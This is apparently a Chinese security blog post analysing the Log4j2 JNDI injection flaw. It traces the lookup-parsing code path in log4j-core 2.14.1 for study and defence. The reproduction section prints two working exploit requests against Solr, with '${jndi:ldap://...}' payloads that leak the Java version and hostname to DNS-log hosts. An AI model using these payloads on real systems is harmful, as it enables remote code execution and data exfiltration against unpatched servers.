Java安全 - Apache Log4j2 JNDI Injection 原理分析

简介

Log4j是Apache的一个开源项目,通过使用Log4j,我们可以控制日志信息输送的目的地是控制台、文件、GUI组件,甚至是套接口服务器、NT的事件记录器、UNIX Syslog守护进程等;我们也可以控制每一条日志的输出格式;通过定义每一条日志信息的级别,我们能够更加细致地控制日志的生成过程。最令人感兴趣的就是,这些可以通过一个配置文件来灵活地进行配置,而不需要修改应用的代码

原理

image

由于Apache Log4j2某些功能存在递归解析,攻击者可在未经身份验证的情况下构造发送带有攻击语句的数据请求包,最终造成在目标服务器上执行任意代码

依赖

1
2
3
4
5
6
7
8
9
10
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.14.1</version>
</dependency>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-api</artifactId>
<version>2.14.1</version>
</dependency>

demo

1
2
3
4
5
6
7
8
9
10
11
12
13
14
package org.example;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
import java.util.function.LongFunction;
public class Main {
public static final Logger logger = LogManager.getLogger(LongFunction.class);
public static void main(String[] args) {

String message = "${java:os}";
logger.error("error info:{}",message);

}
}

image

在执行上述代码的时候可以发现他对我们的${java.os}​进行了解析,那么对此我们进行分析为什么会对${​进行解析?

于是前面的直接跳过,直接在这个包下下断点,因为这个类是拿来对日志信息进行打印的

log4j-core-2.14.1.jar!\org\apache\logging\log4j\core\layout\PatternLayout#toSerializable()

image

两个传进去进行处理的变量,一个是 event,也就是我们 log4j2 需要来进行日志打印的内容;另外一个 buffer,我们会把打印出来的东西写进 buffe

这里其实没有必要跟进这个format​方法(有别的师傅踩坑了) 直接让i = 8​ 来看是什么

发现是走到了log4j-core-2.14.1.jar!\org\apache\logging\log4j\core\pattern\MessagePatternConverter#format()​中

image

当我们进到这个format()​方法里面之后,先判断是否是 Log4j2 的 lookups 功能。这里我们是 lookups 功能,所以可以继续往下走然后继续往下走,会遍历 workingBuilder 来进行判断;如果 workingBuilder 中存在${​,那么就会取出从 $ 开始知道最后的字符串,这一步

image

但是这里有个replace​方法会不会进行一个替换呢? 跟进

image

接着调用了substitute​方法

这里就是获取payload了,这里存在一个while 循环 会对字符进行逐字匹配${​然后进行循环读取,知道读取到}​ 并获取其坐标,然后将 ${}​ 中间的内容取出来

image

varName​ 作为变量传入了 resolveVariable​ 函数

这里我们看到resolveVariable()​方法里面是调用了lookup()​方法,这个lookup()​方法也就是 jndi 里面原生的方法,在我们让 jndi 去调用 ldap 服务的时候,是调用原生的lookup()​方法的

image

总结一下

  1. 先判断内容中是否有${}​,然后截取${}​中的内容,得到我们的恶意payloadjndi:xxx
  2. 后使用:​分割payload,通过前缀来判断使用何种解析器去调用对应协议的lookup​方法 ,写了JNDI​就会去用JNDI​去调ldap
  3. 支持的前缀包括date, java, marker, ctx, lower, upper, jndi, main, jvmrunargs, sys, env, log4j

最后就造成了JNDI注入

复现

image

solr的话就是一个接口存在log4j2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
GET /solr/admin/cores?action=${jndi:ldap://${sys:java.version}.yujrzdhxzy.dgrh3.cn} HTTP/1.1
Host: 192.168.0.130:8983
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Connection: close

GET /solr/admin/cores?action=${jndi:ldap://${env.HOSTNAME}.qv2yc5.dnslog.cn} HTTP/1.1
Host: 192.168.0.130:8983
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Cookie: JSESSIONID=59B4699E94286E436A0472BBD0D54CF8
Connection: close

image

image


Java安全 - Apache Log4j2 JNDI Injection 原理分析
https://zjackky.github.io/post/java-security-apache-log4j2-jndi-injection-principles-analysis-z1cmsb1.html
作者
Zjacky
发布于
2023年12月15日
许可协议